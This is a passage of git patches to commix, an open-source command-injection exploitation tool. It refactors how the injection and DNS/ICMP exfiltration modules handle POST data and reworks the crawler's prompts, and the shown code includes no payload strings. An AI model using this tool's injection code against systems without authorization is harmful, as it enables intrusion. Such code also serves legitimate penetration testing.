100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -564,7 +564,7 @@ def get_request(url, http_request_method, filename, timesec): """ def post_request(url, http_request_method, filename, timesec): - # Check if HTTP Method is POST. + parameter = menu.options.data found_parameter = parameters.do_POST_check(parameter, http_request_method) @@ -636,10 +636,10 @@ def basic_level_checks(): settings.SKIP_COMMAND_INJECTIONS = False settings.IDENTIFIED_WARNINGS = False settings.IDENTIFIED_PHPINFO = False - # Check if HTTP Method is GET. - if http_request_method != settings.HTTPMETHOD.POST: - get_request(url, http_request_method, filename, timesec) - # Check if HTTP Method is POST. + + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: + get_request(url, http_request_method, filename, timesec) else: post_request(url, http_request_method, filename, timesec) diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 51c0fd190c..cc3cb33ce6 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -246,7 +246,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ else: header_name = "" the_type = " parameter" - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 6556937a4f..74c9c7d3a8 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -46,8 +46,8 @@ """ def injection_test(payload, http_request_method, url): - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: if " " in payload: payload = payload.replace(" ","%20") # Define the vulnerable parameter @@ -197,8 +197,8 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques response = custom_header_injection_test(url, vuln_parameter, payload) else: - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index c0fbb291fe..848faab463 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -259,7 +259,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: header_name = "" the_type = " parameter" - if http_request_method != settings.HTTPMETHOD.POST: + if not settings.USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 9442feb0a7..dc1140d79d 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -40,8 +40,8 @@ """ def injection_test(payload, http_request_method, url): - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) @@ -185,8 +185,8 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques response = custom_header_injection_test(url, vuln_parameter, payload) else: - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 0883cad0a0..fc485b4979 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -465,7 +465,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: header_name = "" the_type = " parameter" - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 1eda1e4e04..f52657da28 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -42,8 +42,8 @@ """ def injection_test(payload, http_request_method, url): - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) @@ -188,8 +188,8 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht response = custom_header_injection_test(url, vuln_parameter, payload) else: - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) payload = payload.replace(" ","%20") diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 18e6efe33a..878f794768 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -414,7 +414,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: header_name = "" the_type = " parameter" - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index dae11ba1a4..6af66fa9a7 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -46,8 +46,8 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, end = 0 start = time.time() - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) @@ -96,8 +96,8 @@ def injection_test(payload, http_request_method, url): end = 0 start = time.time() - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: payload = payload.replace("#","%23") # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index 17cd1a01d8..0e9f173190 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -68,7 +68,8 @@ def cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter): if settings.VERBOSITY_LEVEL != 0: sys.stdout.write("\n" + settings.print_payload(payload)) - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: url = url.replace(settings.INJECT_TAG, "") data = payload.replace(" ", "%20") request = url + data @@ -186,7 +187,8 @@ def dns_exfiltration_handler(url, http_request_method): print("\n" + settings.print_critical_msg(err_msg)) os._exit(0) - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: #url = parameters.do_GET_check(url, http_request_method) vuln_parameter = parameters.vuln_GET_param(url) request = _urllib.request.Request(url) diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 732d1db9a8..5e0bc7e63b 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -84,7 +84,9 @@ def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src): sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload) + "\n") - if http_request_method != settings.HTTPMETHOD.POST: + + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: url = url.replace(settings.INJECT_TAG, "") data = payload.replace(" ", "%20") req = url + data @@ -213,7 +215,8 @@ def icmp_exfiltration_handler(url, http_request_method): print(settings.print_critical_msg(err_msg) + "\n") os._exit(0) - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: #url = parameters.do_GET_check(url, http_request_method) request = _urllib.request.Request(url) headers.do_check(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 0d4d0a3c13..8dfe2941a3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "53" +REVISION = "54" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -295,7 +295,7 @@ def sys_argv_errors(): SKIP_COMMAND_INJECTIONS = False # User-defined stored post data. -USER_DEFINED_POST_DATA = "" +USER_DEFINED_POST_DATA = False # The wildcard character WILDCARD_CHAR = "*" From 2bf08e9c83fb51e94f6e9a81e168b557ccd4f5b8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 25 Jan 2022 12:46:52 +0200 Subject: [PATCH 0059/1023] Minor update --- src/utils/crawler.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index e4f0d0a91c..fec1c7a22f 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -72,7 +72,7 @@ def request(url): err_msg = str(err_msg) + " - Skipping " + str(url) sys.stdout.write(settings.print_critical_msg(err_msg)) if settings.VERBOSITY_LEVEL >= 2: - print("") + print(settings.SINGLE_WHITESPACE) SKIPPED_URLS += 1 @@ -257,7 +257,7 @@ def crawler(url): print(settings.SINGLE_WHITESPACE) if not settings.VERBOSITY_LEVEL >= 2: - print("") + print(settings.SINGLE_WHITESPACE) info_msg = "Visited " + str(len(output_href)) + " link"+ "s"[len(output_href) == 1:] + "." print(settings.print_info_msg(info_msg)) filename = store_crawling() diff --git a/src/utils/settings.py b/src/utils/settings.py index 8dfe2941a3..85be98352a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "54" +REVISION = "55" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 4c9922509e1eb80245c9d1d7e3e008d444ebc2ff Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 26 Jan 2022 10:16:41 +0200 Subject: [PATCH 0060/1023] Minor update --- src/utils/crawler.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index fec1c7a22f..77efdc54bf 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -245,7 +245,7 @@ def crawler(url): if sitemap_check: info_msg += "identified 'sitemap.xml' " info_msg += "for usable links (with GET parameters). " - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.write("\n" + settings.print_info_msg(info_msg)) sys.stdout.flush() if not sitemap_check: diff --git a/src/utils/settings.py b/src/utils/settings.py index 85be98352a..9727ce9a0b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "55" +REVISION = "56" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 939cf792c0b75233278493e8679969178ee933e0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 27 Jan 2022 09:29:32 +0200 Subject: [PATCH 0061/1023] Minor eye-candy fix --- src/core/injections/controller/checks.py | 2 ++ src/utils/crawler.py | 2 +- src/utils/settings.py | 4 +++- 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 1cbafc53e2..3756c1672a 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -55,6 +55,8 @@ def not_declared_cookies(response): try: candidate = re.search(r'([^;]+);?', response.headers['set-cookie']).group(1) + if candidate: + settings.DECLARED_COOKIES = True while True: if not menu.options.batch: question_msg = "You have not declared cookie(s), while " diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 77efdc54bf..3659cbc12e 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -256,7 +256,7 @@ def crawler(url): if SKIPPED_URLS == 0: print(settings.SINGLE_WHITESPACE) - if not settings.VERBOSITY_LEVEL >= 2: + if not settings.VERBOSITY_LEVEL >= 2 and not settings.DECLARED_COOKIES: print(settings.SINGLE_WHITESPACE) info_msg = "Visited " + str(len(output_href)) + " link"+ "s"[len(output_href) == 1:] + "." print(settings.print_info_msg(info_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 9727ce9a0b..d4a43f0b46 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "56" +REVISION = "57" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1054,4 +1054,6 @@ def sys_argv_errors(): # Force usage of given HTTP method (e.g. PUT). HTTP_METHOD = "" +DECLARED_COOKIES = False + # eof \ No newline at end of file From c0fe69cce0d7d368f44047eb8d73d45e2c370fb4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 28 Jan 2022 08:34:31 +0200 Subject: [PATCH 0062/1023] Minor update --- src/core/injections/controller/checks.py | 2 ++ src/utils/crawler.py | 7 ++----- src/utils/settings.py | 4 +++- 3 files changed, 7 insertions(+), 6 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 3756c1672a..fae49e0e75 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -57,6 +57,8 @@ def not_declared_cookies(response): candidate = re.search(r'([^;]+);?', response.headers['set-cookie']).group(1) if candidate: settings.DECLARED_COOKIES = True + if settings.CRAWLED_SKIPPED_URLS != 0: + print(settings.SINGLE_WHITESPACE) while True: if not menu.options.batch: question_msg = "You have not declared cookie(s), while " diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 3659cbc12e..952f7d24a8 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -26,7 +26,6 @@ SITEMAP_LOC = [] HREF_LIST = [] -SKIPPED_URLS = 0 def store_crawling(): while True: @@ -57,7 +56,6 @@ def store_crawling(): Do a request to target URL. """ def request(url): - global SKIPPED_URLS try: # Check if defined POST data if menu.options.data: @@ -73,8 +71,7 @@ def request(url): sys.stdout.write(settings.print_critical_msg(err_msg)) if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) - SKIPPED_URLS += 1 - + settings.CRAWLED_SKIPPED_URLS += 1 """ Check for URLs in sitemap.xml. @@ -253,7 +250,7 @@ def crawler(url): if menu.options.crawldepth > 1: for url in output_href: output_href = do_process(url) - if SKIPPED_URLS == 0: + if settings.CRAWLED_SKIPPED_URLS == 0: print(settings.SINGLE_WHITESPACE) if not settings.VERBOSITY_LEVEL >= 2 and not settings.DECLARED_COOKIES: diff --git a/src/utils/settings.py b/src/utils/settings.py index d4a43f0b46..929283e72e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "57" +REVISION = "58" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1056,4 +1056,6 @@ def sys_argv_errors(): DECLARED_COOKIES = False +CRAWLED_SKIPPED_URLS = 0 + # eof \ No newline at end of file From b81d434bf25edc6398a8aa66e95a889e52e1f626 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 29 Jan 2022 12:20:08 +0200 Subject: [PATCH 0063/1023] Minor update --- src/utils/crawler.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 952f7d24a8..b6be438bdb 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -177,12 +177,12 @@ def crawler(url): else: while True: if not menu.options.batch: - question_msg = "Do you want to change the crawling depth level? [Y/n] > " + question_msg = "Do you want to change the crawling depth level? [y/N] > " message = _input(settings.print_question_msg(question_msg)) else: message = "" if len(message) == 0: - message = "Y" + message = "N" if message in settings.CHOICE_YES or message in settings.CHOICE_NO: break elif message in settings.CHOICE_QUIT: diff --git a/src/utils/settings.py b/src/utils/settings.py index 929283e72e..8b39b28f88 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "58" +REVISION = "59" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From fcf3c33d816da98c6eeed33ae428556654329959 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 30 Jan 2022 10:33:33 +0200 Subject: [PATCH 0064/1023] Minor fix --- src/core/requests/headers.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 731a9eb0eb..b4aff61a45 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -247,7 +247,8 @@ def https_open(self, req): not settings.IS_JSON and \ not settings.IS_XML and \ not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ - not str(err.code) == settings.BAD_REQUEST: + not str(err.code) == settings.BAD_REQUEST and \ + not settings.CRAWLED_SKIPPED_URLS == 0: print(settings.SINGLE_WHITESPACE) # error_msg = "Got " + str(err).replace(": "," (") # Check for 3xx, 4xx, 5xx HTTP error codes. diff --git a/src/utils/settings.py b/src/utils/settings.py index 8b39b28f88..3d839b42ef 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "59" +REVISION = "60" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 06766115c30ca4c54cdff4f485c1c631cb1c3161 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 31 Jan 2022 08:49:17 +0200 Subject: [PATCH 0065/1023] Minor fixes regarding crawler --- src/core/main.py | 5 +++ src/utils/crawler.py | 92 +++++++++++++++++++++++++++---------------- src/utils/settings.py | 2 +- 3 files changed, 65 insertions(+), 34 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 4d5204ecf4..29eaed0932 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -747,6 +747,11 @@ def main(filename, url): if menu.options.os: checks.user_defined_os() + if menu.options.crawldepth > 2: + err_msg = "Depth level '" + str(menu.options.crawldepth) + "' is not a valid." + print(settings.print_error_msg(err_msg)) + raise SystemExit() + # Check if defined "--check-tor" option. if menu.options.tor_check and not menu.options.tor: err_msg = "The '--check-tor' swich requires usage of switch '--tor'." diff --git a/src/utils/crawler.py b/src/utils/crawler.py index b6be438bdb..2d08a9f117 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -111,6 +111,8 @@ def sitemap(url): pass return SITEMAP_LOC except: + if not menu.options.crawldepth: + raise SystemExit() pass """ @@ -167,47 +169,67 @@ def do_process(url): """ def crawler(url): if not menu.options.sitemap_url: - if menu.options.crawldepth > 2: - err_msg = "Depth level '" + str(menu.options.crawldepth) + "' is not a valid." - print(settings.print_error_msg(err_msg)) - raise SystemExit() info_msg = "Starting crawler and searching for " info_msg += "links with depth " + str(menu.options.crawldepth) + "." print(settings.print_info_msg(info_msg)) else: - while True: - if not menu.options.batch: - question_msg = "Do you want to change the crawling depth level? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "N" - if message in settings.CHOICE_YES or message in settings.CHOICE_NO: - break - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - # Change the crawling depth level. - if message in settings.CHOICE_YES: + message = "" + if not menu.options.crawldepth: while True: - question_msg = "Please enter the crawling depth level (1-2) > " - message = _input(settings.print_question_msg(question_msg)) + if not menu.options.batch: + question_msg = "Do you want to enable crawler? [y/N] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "N" + if message in settings.CHOICE_YES: + menu.options.crawldepth = 1 + break + if message in settings.CHOICE_NO: + break + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + message + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + + if menu.options.crawldepth: + while True: + if not menu.options.batch: + question_msg = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" if len(message) == 0: - message = 1 - break - elif str(message) != "1" and str(message) != "2": - err_msg = "Depth level '" + message + "' is not a valid answer." + message = "N" + if message in settings.CHOICE_YES or message in settings.CHOICE_NO: + break + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass - else: - menu.options.crawldepth = message - break + # Change the crawling depth level. + if message in settings.CHOICE_YES: + while True: + question_msg = "Please enter the crawling depth level (1-2) > " + message = _input(settings.print_question_msg(question_msg)) + if len(message) == 0: + message = 1 + break + elif str(message) != "1" and str(message) != "2": + err_msg = "Depth level '" + message + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + else: + menu.options.crawldepth = message + break while True: + sitemap_check = None if not menu.options.sitemap_url: if not menu.options.batch: question_msg = "Do you want to check target for " @@ -230,6 +252,7 @@ def crawler(url): print(settings.print_error_msg(err_msg)) pass else: + message = "n" sitemap_check = True break @@ -242,12 +265,15 @@ def crawler(url): if sitemap_check: info_msg += "identified 'sitemap.xml' " info_msg += "for usable links (with GET parameters). " - sys.stdout.write("\n" + settings.print_info_msg(info_msg)) + if message in settings.CHOICE_NO and not menu.options.sitemap_url: + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + else: + sys.stdout.write("\n" + settings.print_info_msg(info_msg)) sys.stdout.flush() if not sitemap_check: output_href = do_process(url) - if menu.options.crawldepth > 1: + if int(menu.options.crawldepth) > 1: for url in output_href: output_href = do_process(url) if settings.CRAWLED_SKIPPED_URLS == 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 3d839b42ef..a7af495668 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "60" +REVISION = "61" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From c243818c9bcfd9b603dfe4e918325d8552211db2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 1 Feb 2022 07:17:45 +0200 Subject: [PATCH 0066/1023] Fixes https://github.com/commixproject/commix/issues/736 --- src/core/injections/controller/checks.py | 5 ++++- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index fae49e0e75..f9ceacaeb0 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -831,7 +831,10 @@ def wildcard_character(data): _ = "" for data in data.split("\\n"): # Ignore the Accept HTTP Header - if not data.startswith("Accept: ") and not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in data : + if not data.startswith("Accept: ") and \ + not settings.WILDCARD_CHAR is None and \ + not settings.INJECT_TAG in data and \ + settings.WILDCARD_CHAR in data : data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) _ = _ + data + "\\n" data = _.rstrip("\\n") diff --git a/src/utils/settings.py b/src/utils/settings.py index a7af495668..28afb94261 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "61" +REVISION = "62" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 36a483656282935b6929fdf8bb17f0f51ee75691 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 3 Feb 2022 10:09:40 +0200 Subject: [PATCH 0067/1023] Minor update --- .../injections/blind/techniques/time_based/tb_injector.py | 4 ++-- .../results_based/techniques/classic/cb_injector.py | 4 ++-- .../results_based/techniques/eval_based/eb_injector.py | 4 ++-- .../injections/semiblind/techniques/file_based/fb_injector.py | 4 ++-- .../semiblind/techniques/tempfile_based/tfb_injector.py | 4 ++-- src/core/modules/dns_exfiltration/dns_exfiltration.py | 2 +- src/core/modules/icmp_exfiltration/icmp_exfiltration.py | 2 +- src/utils/settings.py | 2 +- 8 files changed, 13 insertions(+), 13 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index a55951dc0e..bebfa4c803 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -56,7 +56,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, # Check if defined method is POST. else: parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") @@ -105,7 +105,7 @@ def injection_test(payload, http_request_method, url): # Check if defined method is POST. else: parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 74c9c7d3a8..371f737be6 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -64,7 +64,7 @@ def injection_test(payload, http_request_method, url): # Check if defined method is POST. else: parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") @@ -215,7 +215,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else : # Check if defined method is POST. parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index dc1140d79d..538ed8863b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -59,7 +59,7 @@ def injection_test(payload, http_request_method, url): # Check if defined method is POST. else: parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") @@ -203,7 +203,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else : # Check if defined method is POST. parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 